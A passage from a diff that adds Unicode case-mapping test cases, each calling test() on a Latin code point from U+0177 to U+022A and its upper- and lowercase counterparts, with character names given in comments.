+test(0x0177, 0x0176); // LATIN SMALL LETTER Y WITH CIRCUMFLEX (LATIN SMALL LETTER Y CIRCUMFLEX), LATIN CAPITAL LETTER Y WITH CIRCUMFLEX (LATIN CAPITAL LETTER Y CIRCUMFLEX)
+test(0x0178, 0x00FF); // LATIN CAPITAL LETTER Y WITH DIAERESIS (LATIN CAPITAL LETTER Y DIAERESIS), LATIN SMALL LETTER Y WITH DIAERESIS (LATIN SMALL LETTER Y DIAERESIS)
+test(0x0179, 0x017A); // LATIN CAPITAL LETTER Z WITH ACUTE (LATIN CAPITAL LETTER Z ACUTE), LATIN SMALL LETTER Z WITH ACUTE (LATIN SMALL LETTER Z ACUTE)
+test(0x017A, 0x0179); // LATIN SMALL LETTER Z WITH ACUTE (LATIN SMALL LETTER Z ACUTE), LATIN CAPITAL LETTER Z WITH ACUTE (LATIN CAPITAL LETTER Z ACUTE)
+test(0x017B, 0x017C); // LATIN CAPITAL LETTER Z WITH DOT ABOVE (LATIN CAPITAL LETTER Z DOT), LATIN SMALL LETTER Z WITH DOT ABOVE (LATIN SMALL LETTER Z DOT)
+test(0x017C, 0x017B); // LATIN SMALL LETTER Z WITH DOT ABOVE (LATIN SMALL LETTER Z DOT), LATIN CAPITAL LETTER Z WITH DOT ABOVE (LATIN CAPITAL LETTER Z DOT)
+test(0x017D, 0x017E); // LATIN CAPITAL LETTER Z WITH CARON (LATIN CAPITAL LETTER Z HACEK), LATIN SMALL LETTER Z WITH CARON (LATIN SMALL LETTER Z HACEK)
+test(0x017E, 0x017D); // LATIN SMALL LETTER Z WITH CARON (LATIN SMALL LETTER Z HACEK), LATIN CAPITAL LETTER Z WITH CARON (LATIN CAPITAL LETTER Z HACEK)
+test(0x017F, 0x0073, 0x0053); // LATIN SMALL LETTER LONG S, LATIN SMALL LETTER S, LATIN CAPITAL LETTER S
+test(0x0180, 0x0243); // LATIN SMALL LETTER B WITH STROKE (LATIN SMALL LETTER B BAR), LATIN CAPITAL LETTER B WITH STROKE
+test(0x0181, 0x0253); // LATIN CAPITAL LETTER B WITH HOOK (LATIN CAPITAL LETTER B HOOK), LATIN SMALL LETTER B WITH HOOK (LATIN SMALL LETTER B HOOK)
+test(0x0182, 0x0183); // LATIN CAPITAL LETTER B WITH TOPBAR (LATIN CAPITAL LETTER B TOPBAR), LATIN SMALL LETTER B WITH TOPBAR (LATIN SMALL LETTER B TOPBAR)
+test(0x0183, 0x0182); // LATIN SMALL LETTER B WITH TOPBAR (LATIN SMALL LETTER B TOPBAR), LATIN CAPITAL LETTER B WITH TOPBAR (LATIN CAPITAL LETTER B TOPBAR)
+test(0x0184, 0x0185); // LATIN CAPITAL LETTER TONE SIX, LATIN SMALL LETTER TONE SIX
+test(0x0185, 0x0184); // LATIN SMALL LETTER TONE SIX, LATIN CAPITAL LETTER TONE SIX
+test(0x0186, 0x0254); // LATIN CAPITAL LETTER OPEN O, LATIN SMALL LETTER OPEN O
+test(0x0187, 0x0188); // LATIN CAPITAL LETTER C WITH HOOK (LATIN CAPITAL LETTER C HOOK), LATIN SMALL LETTER C WITH HOOK (LATIN SMALL LETTER C HOOK)
+test(0x0188, 0x0187); // LATIN SMALL LETTER C WITH HOOK (LATIN SMALL LETTER C HOOK), LATIN CAPITAL LETTER C WITH HOOK (LATIN CAPITAL LETTER C HOOK)
+test(0x0189, 0x0256); // LATIN CAPITAL LETTER AFRICAN D, LATIN SMALL LETTER D WITH TAIL (LATIN SMALL LETTER D RETROFLEX HOOK)
+test(0x018A, 0x0257); // LATIN CAPITAL LETTER D WITH HOOK (LATIN CAPITAL LETTER D HOOK), LATIN SMALL LETTER D WITH HOOK (LATIN SMALL LETTER D HOOK)
+test(0x018B, 0x018C); // LATIN CAPITAL LETTER D WITH TOPBAR (LATIN CAPITAL LETTER D TOPBAR), LATIN SMALL LETTER D WITH TOPBAR (LATIN SMALL LETTER D TOPBAR)
+test(0x018C, 0x018B); // LATIN SMALL LETTER D WITH TOPBAR (LATIN SMALL LETTER D TOPBAR), LATIN CAPITAL LETTER D WITH TOPBAR (LATIN CAPITAL LETTER D TOPBAR)
+test(0x018E, 0x01DD); // LATIN CAPITAL LETTER REVERSED E (LATIN CAPITAL LETTER TURNED E), LATIN SMALL LETTER TURNED E
+test(0x018F, 0x0259); // LATIN CAPITAL LETTER SCHWA, LATIN SMALL LETTER SCHWA
+test(0x0190, 0x025B); // LATIN CAPITAL LETTER OPEN E (LATIN CAPITAL LETTER EPSILON), LATIN SMALL LETTER OPEN E (LATIN SMALL LETTER EPSILON)
+test(0x0191, 0x0192); // LATIN CAPITAL LETTER F WITH HOOK (LATIN CAPITAL LETTER F HOOK), LATIN SMALL LETTER F WITH HOOK (LATIN SMALL LETTER SCRIPT F)
+test(0x0192, 0x0191); // LATIN SMALL LETTER F WITH HOOK (LATIN SMALL LETTER SCRIPT F), LATIN CAPITAL LETTER F WITH HOOK (LATIN CAPITAL LETTER F HOOK)
+test(0x0193, 0x0260); // LATIN CAPITAL LETTER G WITH HOOK (LATIN CAPITAL LETTER G HOOK), LATIN SMALL LETTER G WITH HOOK (LATIN SMALL LETTER G HOOK)
+test(0x0194, 0x0263); // LATIN CAPITAL LETTER GAMMA, LATIN SMALL LETTER GAMMA
+test(0x0195, 0x01F6); // LATIN SMALL LETTER HV (LATIN SMALL LETTER H V), LATIN CAPITAL LETTER HWAIR
+test(0x0196, 0x0269); // LATIN CAPITAL LETTER IOTA, LATIN SMALL LETTER IOTA
+test(0x0197, 0x0268); // LATIN CAPITAL LETTER I WITH STROKE (LATIN CAPITAL LETTER BARRED I), LATIN SMALL LETTER I WITH STROKE (LATIN SMALL LETTER BARRED I)
+test(0x0198, 0x0199); // LATIN CAPITAL LETTER K WITH HOOK (LATIN CAPITAL LETTER K HOOK), LATIN SMALL LETTER K WITH HOOK (LATIN SMALL LETTER K HOOK)
+test(0x0199, 0x0198); // LATIN SMALL LETTER K WITH HOOK (LATIN SMALL LETTER K HOOK), LATIN CAPITAL LETTER K WITH HOOK (LATIN CAPITAL LETTER K HOOK)
+test(0x019A, 0x023D); // LATIN SMALL LETTER L WITH BAR (LATIN SMALL LETTER BARRED L), LATIN CAPITAL LETTER L WITH BAR
+test(0x019C, 0x026F); // LATIN CAPITAL LETTER TURNED M, LATIN SMALL LETTER TURNED M
+test(0x019D, 0x0272); // LATIN CAPITAL LETTER N WITH LEFT HOOK (LATIN CAPITAL LETTER N HOOK), LATIN SMALL LETTER N WITH LEFT HOOK (LATIN SMALL LETTER N HOOK)
+test(0x019E, 0x0220); // LATIN SMALL LETTER N WITH LONG RIGHT LEG, LATIN CAPITAL LETTER N WITH LONG RIGHT LEG
+test(0x019F, 0x0275); // LATIN CAPITAL LETTER O WITH MIDDLE TILDE (LATIN CAPITAL LETTER BARRED O), LATIN SMALL LETTER BARRED O
+test(0x01A0, 0x01A1); // LATIN CAPITAL LETTER O WITH HORN (LATIN CAPITAL LETTER O HORN), LATIN SMALL LETTER O WITH HORN (LATIN SMALL LETTER O HORN)
+test(0x01A1, 0x01A0); // LATIN SMALL LETTER O WITH HORN (LATIN SMALL LETTER O HORN), LATIN CAPITAL LETTER O WITH HORN (LATIN CAPITAL LETTER O HORN)
+test(0x01A2, 0x01A3); // LATIN CAPITAL LETTER OI (LATIN CAPITAL LETTER O I), LATIN SMALL LETTER OI (LATIN SMALL LETTER O I)
+test(0x01A3, 0x01A2); // LATIN SMALL LETTER OI (LATIN SMALL LETTER O I), LATIN CAPITAL LETTER OI (LATIN CAPITAL LETTER O I)
+test(0x01A4, 0x01A5); // LATIN CAPITAL LETTER P WITH HOOK (LATIN CAPITAL LETTER P HOOK), LATIN SMALL LETTER P WITH HOOK (LATIN SMALL LETTER P HOOK)
+test(0x01A5, 0x01A4); // LATIN SMALL LETTER P WITH HOOK (LATIN SMALL LETTER P HOOK), LATIN CAPITAL LETTER P WITH HOOK (LATIN CAPITAL LETTER P HOOK)
+test(0x01A6, 0x0280); // LATIN LETTER YR (LATIN LETTER Y R), LATIN LETTER SMALL CAPITAL R
+test(0x01A7, 0x01A8); // LATIN CAPITAL LETTER TONE TWO, LATIN SMALL LETTER TONE TWO
+test(0x01A8, 0x01A7); // LATIN SMALL LETTER TONE TWO, LATIN CAPITAL LETTER TONE TWO
+test(0x01A9, 0x0283); // LATIN CAPITAL LETTER ESH, LATIN SMALL LETTER ESH
+test(0x01AC, 0x01AD); // LATIN CAPITAL LETTER T WITH HOOK (LATIN CAPITAL LETTER T HOOK), LATIN SMALL LETTER T WITH HOOK (LATIN SMALL LETTER T HOOK)
+test(0x01AD, 0x01AC); // LATIN SMALL LETTER T WITH HOOK (LATIN SMALL LETTER T HOOK), LATIN CAPITAL LETTER T WITH HOOK (LATIN CAPITAL LETTER T HOOK)
+test(0x01AE, 0x0288); // LATIN CAPITAL LETTER T WITH RETROFLEX HOOK (LATIN CAPITAL LETTER T RETROFLEX HOOK), LATIN SMALL LETTER T WITH RETROFLEX HOOK (LATIN SMALL LETTER T RETROFLEX HOOK)
+test(0x01AF, 0x01B0); // LATIN CAPITAL LETTER U WITH HORN (LATIN CAPITAL LETTER U HORN), LATIN SMALL LETTER U WITH HORN (LATIN SMALL LETTER U HORN)
+test(0x01B0, 0x01AF); // LATIN SMALL LETTER U WITH HORN (LATIN SMALL LETTER U HORN), LATIN CAPITAL LETTER U WITH HORN (LATIN CAPITAL LETTER U HORN)
+test(0x01B1, 0x028A); // LATIN CAPITAL LETTER UPSILON, LATIN SMALL LETTER UPSILON
+test(0x01B2, 0x028B); // LATIN CAPITAL LETTER V WITH HOOK (LATIN CAPITAL LETTER SCRIPT V), LATIN SMALL LETTER V WITH HOOK (LATIN SMALL LETTER SCRIPT V)
+test(0x01B3, 0x01B4); // LATIN CAPITAL LETTER Y WITH HOOK (LATIN CAPITAL LETTER Y HOOK), LATIN SMALL LETTER Y WITH HOOK (LATIN SMALL LETTER Y HOOK)
+test(0x01B4, 0x01B3); // LATIN SMALL LETTER Y WITH HOOK (LATIN SMALL LETTER Y HOOK), LATIN CAPITAL LETTER Y WITH HOOK (LATIN CAPITAL LETTER Y HOOK)
+test(0x01B5, 0x01B6); // LATIN CAPITAL LETTER Z WITH STROKE (LATIN CAPITAL LETTER Z BAR), LATIN SMALL LETTER Z WITH STROKE (LATIN SMALL LETTER Z BAR)
+test(0x01B6, 0x01B5); // LATIN SMALL LETTER Z WITH STROKE (LATIN SMALL LETTER Z BAR), LATIN CAPITAL LETTER Z WITH STROKE (LATIN CAPITAL LETTER Z BAR)
+test(0x01B7, 0x0292); // LATIN CAPITAL LETTER EZH (LATIN CAPITAL LETTER YOGH), LATIN SMALL LETTER EZH (LATIN SMALL LETTER YOGH)
+test(0x01B8, 0x01B9); // LATIN CAPITAL LETTER EZH REVERSED (LATIN CAPITAL LETTER REVERSED YOGH), LATIN SMALL LETTER EZH REVERSED (LATIN SMALL LETTER REVERSED YOGH)
+test(0x01B9, 0x01B8); // LATIN SMALL LETTER EZH REVERSED (LATIN SMALL LETTER REVERSED YOGH), LATIN CAPITAL LETTER EZH REVERSED (LATIN CAPITAL LETTER REVERSED YOGH)
+test(0x01BC, 0x01BD); // LATIN CAPITAL LETTER TONE FIVE, LATIN SMALL LETTER TONE FIVE
+test(0x01BD, 0x01BC); // LATIN SMALL LETTER TONE FIVE, LATIN CAPITAL LETTER TONE FIVE
+test(0x01BF, 0x01F7); // LATIN LETTER WYNN, LATIN CAPITAL LETTER WYNN
+test(0x01C4, 0x01C6, 0x01C5); // LATIN CAPITAL LETTER DZ WITH CARON (LATIN CAPITAL LETTER D Z HACEK), LATIN SMALL LETTER DZ WITH CARON (LATIN SMALL LETTER D Z HACEK), LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON (LATIN LETTER CAPITAL D SMALL Z HACEK)
+test(0x01C5, 0x01C6, 0x01C4); // LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON (LATIN LETTER CAPITAL D SMALL Z HACEK), LATIN SMALL LETTER DZ WITH CARON (LATIN SMALL LETTER D Z HACEK), LATIN CAPITAL LETTER DZ WITH CARON (LATIN CAPITAL LETTER D Z HACEK)
+test(0x01C6, 0x01C4, 0x01C5); // LATIN SMALL LETTER DZ WITH CARON (LATIN SMALL LETTER D Z HACEK), LATIN CAPITAL LETTER DZ WITH CARON (LATIN CAPITAL LETTER D Z HACEK), LATIN CAPITAL LETTER D WITH SMALL LETTER Z WITH CARON (LATIN LETTER CAPITAL D SMALL Z HACEK)
+test(0x01C7, 0x01C9, 0x01C8); // LATIN CAPITAL LETTER LJ (LATIN CAPITAL LETTER L J), LATIN SMALL LETTER LJ (LATIN SMALL LETTER L J), LATIN CAPITAL LETTER L WITH SMALL LETTER J (LATIN LETTER CAPITAL L SMALL J)
+test(0x01C8, 0x01C9, 0x01C7); // LATIN CAPITAL LETTER L WITH SMALL LETTER J (LATIN LETTER CAPITAL L SMALL J), LATIN SMALL LETTER LJ (LATIN SMALL LETTER L J), LATIN CAPITAL LETTER LJ (LATIN CAPITAL LETTER L J)
+test(0x01C9, 0x01C7, 0x01C8); // LATIN SMALL LETTER LJ (LATIN SMALL LETTER L J), LATIN CAPITAL LETTER LJ (LATIN CAPITAL LETTER L J), LATIN CAPITAL LETTER L WITH SMALL LETTER J (LATIN LETTER CAPITAL L SMALL J)
+test(0x01CA, 0x01CC, 0x01CB); // LATIN CAPITAL LETTER NJ (LATIN CAPITAL LETTER N J), LATIN SMALL LETTER NJ (LATIN SMALL LETTER N J), LATIN CAPITAL LETTER N WITH SMALL LETTER J (LATIN LETTER CAPITAL N SMALL J)
+test(0x01CB, 0x01CC, 0x01CA); // LATIN CAPITAL LETTER N WITH SMALL LETTER J (LATIN LETTER CAPITAL N SMALL J), LATIN SMALL LETTER NJ (LATIN SMALL LETTER N J), LATIN CAPITAL LETTER NJ (LATIN CAPITAL LETTER N J)
+test(0x01CC, 0x01CA, 0x01CB); // LATIN SMALL LETTER NJ (LATIN SMALL LETTER N J), LATIN CAPITAL LETTER NJ (LATIN CAPITAL LETTER N J), LATIN CAPITAL LETTER N WITH SMALL LETTER J (LATIN LETTER CAPITAL N SMALL J)
+test(0x01CD, 0x01CE); // LATIN CAPITAL LETTER A WITH CARON (LATIN CAPITAL LETTER A HACEK), LATIN SMALL LETTER A WITH CARON (LATIN SMALL LETTER A HACEK)
+test(0x01CE, 0x01CD); // LATIN SMALL LETTER A WITH CARON (LATIN SMALL LETTER A HACEK), LATIN CAPITAL LETTER A WITH CARON (LATIN CAPITAL LETTER A HACEK)
+test(0x01CF, 0x01D0); // LATIN CAPITAL LETTER I WITH CARON (LATIN CAPITAL LETTER I HACEK), LATIN SMALL LETTER I WITH CARON (LATIN SMALL LETTER I HACEK)
+test(0x01D0, 0x01CF); // LATIN SMALL LETTER I WITH CARON (LATIN SMALL LETTER I HACEK), LATIN CAPITAL LETTER I WITH CARON (LATIN CAPITAL LETTER I HACEK)
+test(0x01D1, 0x01D2); // LATIN CAPITAL LETTER O WITH CARON (LATIN CAPITAL LETTER O HACEK), LATIN SMALL LETTER O WITH CARON (LATIN SMALL LETTER O HACEK)
+test(0x01D2, 0x01D1); // LATIN SMALL LETTER O WITH CARON (LATIN SMALL LETTER O HACEK), LATIN CAPITAL LETTER O WITH CARON (LATIN CAPITAL LETTER O HACEK)
+test(0x01D3, 0x01D4); // LATIN CAPITAL LETTER U WITH CARON (LATIN CAPITAL LETTER U HACEK), LATIN SMALL LETTER U WITH CARON (LATIN SMALL LETTER U HACEK)
+test(0x01D4, 0x01D3); // LATIN SMALL LETTER U WITH CARON (LATIN SMALL LETTER U HACEK), LATIN CAPITAL LETTER U WITH CARON (LATIN CAPITAL LETTER U HACEK)
+test(0x01D5, 0x01D6); // LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER U DIAERESIS MACRON), LATIN SMALL LETTER U WITH DIAERESIS AND MACRON (LATIN SMALL LETTER U DIAERESIS MACRON)
+test(0x01D6, 0x01D5); // LATIN SMALL LETTER U WITH DIAERESIS AND MACRON (LATIN SMALL LETTER U DIAERESIS MACRON), LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER U DIAERESIS MACRON)
+test(0x01D7, 0x01D8); // LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE (LATIN CAPITAL LETTER U DIAERESIS ACUTE), LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE (LATIN SMALL LETTER U DIAERESIS ACUTE)
+test(0x01D8, 0x01D7); // LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE (LATIN SMALL LETTER U DIAERESIS ACUTE), LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE (LATIN CAPITAL LETTER U DIAERESIS ACUTE)
+test(0x01D9, 0x01DA); // LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON (LATIN CAPITAL LETTER U DIAERESIS HACEK), LATIN SMALL LETTER U WITH DIAERESIS AND CARON (LATIN SMALL LETTER U DIAERESIS HACEK)
+test(0x01DA, 0x01D9); // LATIN SMALL LETTER U WITH DIAERESIS AND CARON (LATIN SMALL LETTER U DIAERESIS HACEK), LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON (LATIN CAPITAL LETTER U DIAERESIS HACEK)
+test(0x01DB, 0x01DC); // LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE (LATIN CAPITAL LETTER U DIAERESIS GRAVE), LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE (LATIN SMALL LETTER U DIAERESIS GRAVE)
+test(0x01DC, 0x01DB); // LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE (LATIN SMALL LETTER U DIAERESIS GRAVE), LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE (LATIN CAPITAL LETTER U DIAERESIS GRAVE)
+test(0x01DD, 0x018E); // LATIN SMALL LETTER TURNED E, LATIN CAPITAL LETTER REVERSED E (LATIN CAPITAL LETTER TURNED E)
+test(0x01DE, 0x01DF); // LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER A DIAERESIS MACRON), LATIN SMALL LETTER A WITH DIAERESIS AND MACRON (LATIN SMALL LETTER A DIAERESIS MACRON)
+test(0x01DF, 0x01DE); // LATIN SMALL LETTER A WITH DIAERESIS AND MACRON (LATIN SMALL LETTER A DIAERESIS MACRON), LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON (LATIN CAPITAL LETTER A DIAERESIS MACRON)
+test(0x01E0, 0x01E1); // LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON (LATIN CAPITAL LETTER A DOT MACRON), LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON (LATIN SMALL LETTER A DOT MACRON)
+test(0x01E1, 0x01E0); // LATIN SMALL LETTER A WITH DOT ABOVE AND MACRON (LATIN SMALL LETTER A DOT MACRON), LATIN CAPITAL LETTER A WITH DOT ABOVE AND MACRON (LATIN CAPITAL LETTER A DOT MACRON)
+test(0x01E2, 0x01E3); // LATIN CAPITAL LETTER AE WITH MACRON (LATIN CAPITAL LETTER A E MACRON), LATIN SMALL LETTER AE WITH MACRON (LATIN SMALL LETTER A E MACRON)
+test(0x01E3, 0x01E2); // LATIN SMALL LETTER AE WITH MACRON (LATIN SMALL LETTER A E MACRON), LATIN CAPITAL LETTER AE WITH MACRON (LATIN CAPITAL LETTER A E MACRON)
+test(0x01E4, 0x01E5); // LATIN CAPITAL LETTER G WITH STROKE (LATIN CAPITAL LETTER G BAR), LATIN SMALL LETTER G WITH STROKE (LATIN SMALL LETTER G BAR)
+test(0x01E5, 0x01E4); // LATIN SMALL LETTER G WITH STROKE (LATIN SMALL LETTER G BAR), LATIN CAPITAL LETTER G WITH STROKE (LATIN CAPITAL LETTER G BAR)
+test(0x01E6, 0x01E7); // LATIN CAPITAL LETTER G WITH CARON (LATIN CAPITAL LETTER G HACEK), LATIN SMALL LETTER G WITH CARON (LATIN SMALL LETTER G HACEK)
+test(0x01E7, 0x01E6); // LATIN SMALL LETTER G WITH CARON (LATIN SMALL LETTER G HACEK), LATIN CAPITAL LETTER G WITH CARON (LATIN CAPITAL LETTER G HACEK)
+test(0x01E8, 0x01E9); // LATIN CAPITAL LETTER K WITH CARON (LATIN CAPITAL LETTER K HACEK), LATIN SMALL LETTER K WITH CARON (LATIN SMALL LETTER K HACEK)
+test(0x01E9, 0x01E8); // LATIN SMALL LETTER K WITH CARON (LATIN SMALL LETTER K HACEK), LATIN CAPITAL LETTER K WITH CARON (LATIN CAPITAL LETTER K HACEK)
+test(0x01EA, 0x01EB); // LATIN CAPITAL LETTER O WITH OGONEK (LATIN CAPITAL LETTER O OGONEK), LATIN SMALL LETTER O WITH OGONEK (LATIN SMALL LETTER O OGONEK)
+test(0x01EB, 0x01EA); // LATIN SMALL LETTER O WITH OGONEK (LATIN SMALL LETTER O OGONEK), LATIN CAPITAL LETTER O WITH OGONEK (LATIN CAPITAL LETTER O OGONEK)
+test(0x01EC, 0x01ED); // LATIN CAPITAL LETTER O WITH OGONEK AND MACRON (LATIN CAPITAL LETTER O OGONEK MACRON), LATIN SMALL LETTER O WITH OGONEK AND MACRON (LATIN SMALL LETTER O OGONEK MACRON)
+test(0x01ED, 0x01EC); // LATIN SMALL LETTER O WITH OGONEK AND MACRON (LATIN SMALL LETTER O OGONEK MACRON), LATIN CAPITAL LETTER O WITH OGONEK AND MACRON (LATIN CAPITAL LETTER O OGONEK MACRON)
+test(0x01EE, 0x01EF); // LATIN CAPITAL LETTER EZH WITH CARON (LATIN CAPITAL LETTER YOGH HACEK), LATIN SMALL LETTER EZH WITH CARON (LATIN SMALL LETTER YOGH HACEK)
+test(0x01EF, 0x01EE); // LATIN SMALL LETTER EZH WITH CARON (LATIN SMALL LETTER YOGH HACEK), LATIN CAPITAL LETTER EZH WITH CARON (LATIN CAPITAL LETTER YOGH HACEK)
+test(0x01F1, 0x01F3, 0x01F2); // LATIN CAPITAL LETTER DZ, LATIN SMALL LETTER DZ, LATIN CAPITAL LETTER D WITH SMALL LETTER Z
+test(0x01F2, 0x01F3, 0x01F1); // LATIN CAPITAL LETTER D WITH SMALL LETTER Z, LATIN SMALL LETTER DZ, LATIN CAPITAL LETTER DZ
+test(0x01F3, 0x01F1, 0x01F2); // LATIN SMALL LETTER DZ, LATIN CAPITAL LETTER DZ, LATIN CAPITAL LETTER D WITH SMALL LETTER Z
+test(0x01F4, 0x01F5); // LATIN CAPITAL LETTER G WITH ACUTE, LATIN SMALL LETTER G WITH ACUTE
+test(0x01F5, 0x01F4); // LATIN SMALL LETTER G WITH ACUTE, LATIN CAPITAL LETTER G WITH ACUTE
+test(0x01F6, 0x0195); // LATIN CAPITAL LETTER HWAIR, LATIN SMALL LETTER HV (LATIN SMALL LETTER H V)
+test(0x01F7, 0x01BF); // LATIN CAPITAL LETTER WYNN, LATIN LETTER WYNN
+test(0x01F8, 0x01F9); // LATIN CAPITAL LETTER N WITH GRAVE, LATIN SMALL LETTER N WITH GRAVE
+test(0x01F9, 0x01F8); // LATIN SMALL LETTER N WITH GRAVE, LATIN CAPITAL LETTER N WITH GRAVE
+test(0x01FA, 0x01FB); // LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE, LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE
+test(0x01FB, 0x01FA); // LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE, LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE
+test(0x01FC, 0x01FD); // LATIN CAPITAL LETTER AE WITH ACUTE, LATIN SMALL LETTER AE WITH ACUTE
+test(0x01FD, 0x01FC); // LATIN SMALL LETTER AE WITH ACUTE, LATIN CAPITAL LETTER AE WITH ACUTE
+test(0x01FE, 0x01FF); // LATIN CAPITAL LETTER O WITH STROKE AND ACUTE, LATIN SMALL LETTER O WITH STROKE AND ACUTE
+test(0x01FF, 0x01FE); // LATIN SMALL LETTER O WITH STROKE AND ACUTE, LATIN CAPITAL LETTER O WITH STROKE AND ACUTE
+test(0x0200, 0x0201); // LATIN CAPITAL LETTER A WITH DOUBLE GRAVE, LATIN SMALL LETTER A WITH DOUBLE GRAVE
+test(0x0201, 0x0200); // LATIN SMALL LETTER A WITH DOUBLE GRAVE, LATIN CAPITAL LETTER A WITH DOUBLE GRAVE
+test(0x0202, 0x0203); // LATIN CAPITAL LETTER A WITH INVERTED BREVE, LATIN SMALL LETTER A WITH INVERTED BREVE
+test(0x0203, 0x0202); // LATIN SMALL LETTER A WITH INVERTED BREVE, LATIN CAPITAL LETTER A WITH INVERTED BREVE
+test(0x0204, 0x0205); // LATIN CAPITAL LETTER E WITH DOUBLE GRAVE, LATIN SMALL LETTER E WITH DOUBLE GRAVE
+test(0x0205, 0x0204); // LATIN SMALL LETTER E WITH DOUBLE GRAVE, LATIN CAPITAL LETTER E WITH DOUBLE GRAVE
+test(0x0206, 0x0207); // LATIN CAPITAL LETTER E WITH INVERTED BREVE, LATIN SMALL LETTER E WITH INVERTED BREVE
+test(0x0207, 0x0206); // LATIN SMALL LETTER E WITH INVERTED BREVE, LATIN CAPITAL LETTER E WITH INVERTED BREVE
+test(0x0208, 0x0209); // LATIN CAPITAL LETTER I WITH DOUBLE GRAVE, LATIN SMALL LETTER I WITH DOUBLE GRAVE
+test(0x0209, 0x0208); // LATIN SMALL LETTER I WITH DOUBLE GRAVE, LATIN CAPITAL LETTER I WITH DOUBLE GRAVE
+test(0x020A, 0x020B); // LATIN CAPITAL LETTER I WITH INVERTED BREVE, LATIN SMALL LETTER I WITH INVERTED BREVE
+test(0x020B, 0x020A); // LATIN SMALL LETTER I WITH INVERTED BREVE, LATIN CAPITAL LETTER I WITH INVERTED BREVE
+test(0x020C, 0x020D); // LATIN CAPITAL LETTER O WITH DOUBLE GRAVE, LATIN SMALL LETTER O WITH DOUBLE GRAVE
+test(0x020D, 0x020C); // LATIN SMALL LETTER O WITH DOUBLE GRAVE, LATIN CAPITAL LETTER O WITH DOUBLE GRAVE
+test(0x020E, 0x020F); // LATIN CAPITAL LETTER O WITH INVERTED BREVE, LATIN SMALL LETTER O WITH INVERTED BREVE
+test(0x020F, 0x020E); // LATIN SMALL LETTER O WITH INVERTED BREVE, LATIN CAPITAL LETTER O WITH INVERTED BREVE
+test(0x0210, 0x0211); // LATIN CAPITAL LETTER R WITH DOUBLE GRAVE, LATIN SMALL LETTER R WITH DOUBLE GRAVE
+test(0x0211, 0x0210); // LATIN SMALL LETTER R WITH DOUBLE GRAVE, LATIN CAPITAL LETTER R WITH DOUBLE GRAVE
+test(0x0212, 0x0213); // LATIN CAPITAL LETTER R WITH INVERTED BREVE, LATIN SMALL LETTER R WITH INVERTED BREVE
+test(0x0213, 0x0212); // LATIN SMALL LETTER R WITH INVERTED BREVE, LATIN CAPITAL LETTER R WITH INVERTED BREVE
+test(0x0214, 0x0215); // LATIN CAPITAL LETTER U WITH DOUBLE GRAVE, LATIN SMALL LETTER U WITH DOUBLE GRAVE
+test(0x0215, 0x0214); // LATIN SMALL LETTER U WITH DOUBLE GRAVE, LATIN CAPITAL LETTER U WITH DOUBLE GRAVE
+test(0x0216, 0x0217); // LATIN CAPITAL LETTER U WITH INVERTED BREVE, LATIN SMALL LETTER U WITH INVERTED BREVE
+test(0x0217, 0x0216); // LATIN SMALL LETTER U WITH INVERTED BREVE, LATIN CAPITAL LETTER U WITH INVERTED BREVE
+test(0x0218, 0x0219); // LATIN CAPITAL LETTER S WITH COMMA BELOW, LATIN SMALL LETTER S WITH COMMA BELOW
+test(0x0219, 0x0218); // LATIN SMALL LETTER S WITH COMMA BELOW, LATIN CAPITAL LETTER S WITH COMMA BELOW
+test(0x021A, 0x021B); // LATIN CAPITAL LETTER T WITH COMMA BELOW, LATIN SMALL LETTER T WITH COMMA BELOW
+test(0x021B, 0x021A); // LATIN SMALL LETTER T WITH COMMA BELOW, LATIN CAPITAL LETTER T WITH COMMA BELOW
+test(0x021C, 0x021D); // LATIN CAPITAL LETTER YOGH, LATIN SMALL LETTER YOGH
+test(0x021D, 0x021C); // LATIN SMALL LETTER YOGH, LATIN CAPITAL LETTER YOGH
+test(0x021E, 0x021F); // LATIN CAPITAL LETTER H WITH CARON, LATIN SMALL LETTER H WITH CARON
+test(0x021F, 0x021E); // LATIN SMALL LETTER H WITH CARON, LATIN CAPITAL LETTER H WITH CARON
+test(0x0220, 0x019E); // LATIN CAPITAL LETTER N WITH LONG RIGHT LEG, LATIN SMALL LETTER N WITH LONG RIGHT LEG
+test(0x0222, 0x0223); // LATIN CAPITAL LETTER OU, LATIN SMALL LETTER OU
+test(0x0223, 0x0222); // LATIN SMALL LETTER OU, LATIN CAPITAL LETTER OU
+test(0x0224, 0x0225); // LATIN CAPITAL LETTER Z WITH HOOK, LATIN SMALL LETTER Z WITH HOOK
+test(0x0225, 0x0224); // LATIN SMALL LETTER Z WITH HOOK, LATIN CAPITAL LETTER Z WITH HOOK
+test(0x0226, 0x0227); // LATIN CAPITAL LETTER A WITH DOT ABOVE, LATIN SMALL LETTER A WITH DOT ABOVE
+test(0x0227, 0x0226); // LATIN SMALL LETTER A WITH DOT ABOVE, LATIN CAPITAL LETTER A WITH DOT ABOVE
+test(0x0228, 0x0229); // LATIN CAPITAL LETTER E WITH CEDILLA, LATIN SMALL LETTER E WITH CEDILLA
+test(0x0229, 0x0228); // LATIN SMALL LETTER E WITH CEDILLA, LATIN CAPITAL LETTER E WITH CEDILLA
+test(0x022A, 0x022B); // LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON, LATIN SMALL LETTER O WITH DIAERESIS AND MACRON
